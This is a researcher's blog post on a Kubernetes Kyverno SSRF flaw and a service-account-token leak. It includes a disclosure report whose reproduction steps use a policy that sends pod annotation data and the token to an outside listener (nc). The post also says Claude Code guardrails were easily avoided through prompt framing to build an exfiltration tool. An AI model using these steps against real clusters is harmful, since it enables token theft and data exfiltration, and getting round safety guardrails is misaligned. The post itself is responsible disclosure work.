Kyverno SSRF & Service Account Token Leak
Posted on 21 August 2026
Introduction
Kyverno is a Kubernetes native policy engine for validating and securing Kubernetes resources. It acts as an admission controller which can be configured to enforce specific policies e.g. “do not allow containers to run as root”, or “allow a maximum of 1G of RAM for containers”.
The Kyverno team recently added a feature called “External API Call” which allows policies to call out to external HTTP endpoints to use addition data as part of the policy decision for example; checking a security scan from a third party tool before allowing a pod to be created. This blog post covers the threat modelling research into this Kyverno as a whole and how the process discovered two CVEs along the way.
Background
One of the perks of working at ControlPlane is getting dedicated R&D time to dig deeper into technology areas which we find interesting. At this point in time the Kyverno Threat Model project was in the initial stages, and I was analysing the different components of the system to understand how they interact. I specifically noted that the caching and policy engines had features where they could call out to external resources. I knew from my experience at Ava Security, during which I worked as a PSIRT engineer, that SSRF server-side request forgery attacks can wreak havoc on these types of systems.
The idea was noted within the threat model. However, I wanted to dig deeper and understand if this could be actively exploited, so I booked a few R&D days in our HR tool of dedicated focus time to do some research.
AI Assistance
What made this research time more interesting was it was my first experience of “AI Assisted” security research. I didn’t want to build a research tool loop and set the AI off todo the research. For me, I was more interested in the copy.fail Security researcher augmentation approach where a LLM is used to help the Security Engineer through the research process.
I used Google’s Gemini AI model purely because its part of the work Google Workspace subscription, runs in the browser and is easy to use. I will say that the “Safeguards” implemented in Gemini seem to change wildly week to week. At the time I did this research (13–15th April 2026), Gemini had no issues helping me; now it seems to bail out much sooner.
My process was fairly simple, I had three different Gemini windows open asking the LLM various questions about how components of Kyverno were implemented and getting it to reach out and look through parts of the source code for me. There were many instances where I would go back to reading the documentation and the source code manually to gain a deeper understanding as the LLM tends to summaries everything too much. You can gleam more detail from “reading between the lines” of the docs and code yourself, then you can when its through the lens of what the LLM thinks you should know / how answer your question.
I have provided some examples of the conversation below. However, Google is clearly going back through these are redacting them as some of my chats have been removed or uploaded files / snippets generated deleted. So take the below with a pinch of salt.
Safeguards side rant
<rant>
I personally think the idea of LLM safe guards are a contentions one, we can’t write a “great” machine learning model
which can classify if a program is safe to run / “not malware”
so why do we think we would be able todo better in the modern AI sense with human language when the machine an never know
the full context. Plus in many cases as we have seen the with the
Hugging Face breach
even “the good guys” have to use different models because the safeguard prevent them from being able to defend against a
AI enable attack.
I’m more of the opinion that these models should be treated as tools; which can be used for good or evil.
</rant>
Findings
From a day’s worth of chatting with the LLM, breaking open the source code, some practical exploration with curl and kind, plus reading through the documentation, I had come to a few realisations:
- Kyverno’s external API call feature is not limited, it can call out to any externally facing HTTP endpoint which could be used for data exfiltration
- The same external API call feature is vulnerable to SSRF attacks, it can be used to make calls to internal services, K8s endpoints or access cloud metadata
- The K8s
<->Kyverno webhook layer is not mutually authenticated, which allows for an attacker to potentially bypass the K8s audit log / monitoring system as part of their exploit efforts. - Every external API call also includes the
Authorizationheader. With the value of the Kyverno admission controller’s Kubernetes service account token. This could be used by an attacker to authenticate against the Kubernetes API server and maintain control over the deployed polices and exceptions.
POC
The data exfiltration piece I was especially interested in, and within a few hours I was able to quickly “vibe-code” a CLI tool to automate the process of:
- Creating the malicious Kyverno Polices
- Hosting a server to catch the exfiltrated data
- Calling the Kyverno API directly to trigger the exfiltration, using any file I wanted by encoding the data into a base64 string via K8s annotations.
I will not be releasing the code for the POC, but I did want to highlight how with LLM assistance these tools can be really quickly bashed together. Plus, with right prompt context framing it is straightforward to not bump up against the Claude Code guardrails.
https://zerodayclock.com/ foreshadowing…
Responsible Disclosure
At this point I had enough to report directly to the Kyverno team, which I was luckily already in contact with as part of the threat modelling work. Below is the report I submitted to the team about the Authorization header issue. The SSRF issue was already is discussion as part of the threat modelling work.
Security Report
Title: Kyverno External API Call Service Account Token
Description:
When a Kyverno policy is configured to perform an external API Call as part of a policy decision, by default, it sends the Kyverno K8s service account token (which can be highly privileged) as part of the Authorization header in the HTTP Request.
Steps to Re-Create Issue:
- Create a local testing kind cluster:
kind create cluster -n kyverno-research
- Install Kyverno
helm install kyverno kyverno/kyverno -n kyverno --create-namespace
- Apply a policy using the API Call feature. In this example (see attached) I use my web server for hosting the listener, please change as required:
kubectl apply -f kyverno-api-call-test.yaml
Show YAML
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: kyverno-api-call-test
spec:
admission: true
background: false
emitWarning: false
rules:
- context:
- apiCall:
data:
- key: data
value: '{{ request.object.metadata.annotations.data }}'
method: POST
service:
headers:
- key: Authorization
value: ""
url: http://tomcope.com:25565
name: externalapicall
match:
any:
- resources:
kinds:
- Pod
names:
- kyverno-api-test
name: kyverno-api-call-test
skipBackgroundRequests: true
validate:
allowExistingViolations: true
deny:
conditions:
any:
- key: "true"
operator: Equals
value: "true"
message: '{{ externalapicall }}'
validationFailureAction: Enforce- Start listener server:
nc -vkl 25565
- Apply a pod creation request which would trigger the policy
kubectl apply -f trigger_pod.yaml --dry-run=server
Show YAML
apiVersion: v1
kind: Pod
metadata:
name: kyverno-api-test
labels:
app: http-echo
annotations:
data: "test"
spec:
containers:
- name: http-echo
image: hashicorp/http-echo:latest
args:
- "-text=hello from kyverno-api-test"Notice how the received HTTP request contains a valid JWT for the Kyverno service account in the Authorization header.
# nc -vkl 25565
Listening on 0.0.0.0 25565
Connection received on <redacted>
POST / HTTP/1.1
Host: tomcope.com:25565
User-Agent: Go-http-client/1.1
Content-Length: 16
Authorization: Bearer <redacted>
Accept-Encoding: gzip
{"data":"test"}
Affected Versions:
- Helm Chart: kyverno-3.7.1
- App Version 1.17.1
Mitigations:
I would suggest a code change in pkg/engine/apicall/executor.go removing the default token addition logic.
if req.Header.Get("Authorization") == "" {
if token, ok := readScopedToken(); ok && token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
I tried configuring the API Call with a custom header of “Authorization” set to an empty string; however, Kyverno still sends its own token along with the Service Account token.
If you need further debugging steps, more than happy to help to send more details.
Thank you for taking the time to read my report!
Response
What followed was a back-and-forth conversation between the Kyverno team and myself about how this style of vulnerability and related SSRF issue had already been reported and fixed. However, since the original ControlPlane threat modelling work predated these vulnerability reports, the Kyverno team agreed to give Me & ControlPlane CVE credit for two of the findings.
The Fix
- https://github.com/kyverno/kyverno/pull/15789
- Secure HTTP calls with blocklist/allowlist
- HTTP blocklist/allowlist flags
- Default blocklist covers loopback (127.0.0.0/8, ::1/128), link-local (169.254.0.0/16, fe80::/10), private RFC-1918 ranges, (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), ULA (fc00::/7), CGNAT (100.64.0.0/10), and cloud metadata endpoints, (metadata.google.internal, metadata.internal)
- SSRF mitigation: CEL http.Get/http.Post in namespaced policies (NamespacedValidatingPolicy, NamespacedMutatingPolicy, etc.) are now disabled by default to prevent SSRF attacks
Associated GitHub Advisories
You can find a full breakdown of the findings below:
- https://github.com/kyverno/kyverno/security/advisories/GHSA-q93q-v844-jrqp
- Apr 13th @ 05:55 | CVE-2026-40868 | User = 1seal | CVSS v3 8.1/10
- Discovered by: Oleh Konko
- Discovered by: Tom Cope + Organisation: ControlPlane
- https://github.com/kyverno/kyverno/security/advisories/GHSA-rggm-jjmc-3394
- Apr 13th @ 5:53 | CVE-2026-4789 | User = iggypopi + stepanskyigor-orca | | CVSS v3 8.5/10
- Discovered by: Igor Stepansky + Organisation: Orca Security
- Discovered by: Tom Cope + Organisation: ControlPlane
- https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25
- Apr 15th @ 19:44 | No CVE | User = scumfrog
- https://github.com/kyverno/kyverno/security/advisories/GHSA-f9g8-6ppc-pqq4
- Apr 15th @ 18:43 | CVE-2026-41323 | User = KoreaSecurity
- https://github.com/kyverno/kyverno/security/advisories/GHSA-fmqp-4wfc-w3v7
- Apr 13th @ 5:51 | No CVE | User = b0b0haha + j311yl0v3u
- https://github.com/kyverno/kyverno/security/advisories/GHSA-qr4g-8hrp-c4rw
- Apr 13th @ 4:48 | No CVE | User = scumfrog
- https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq
- Apr 15th @ 17:58 | No CVE | User = r0binak
Associated CVEs
- CVE-2026-40868
- CVE-2026-4789





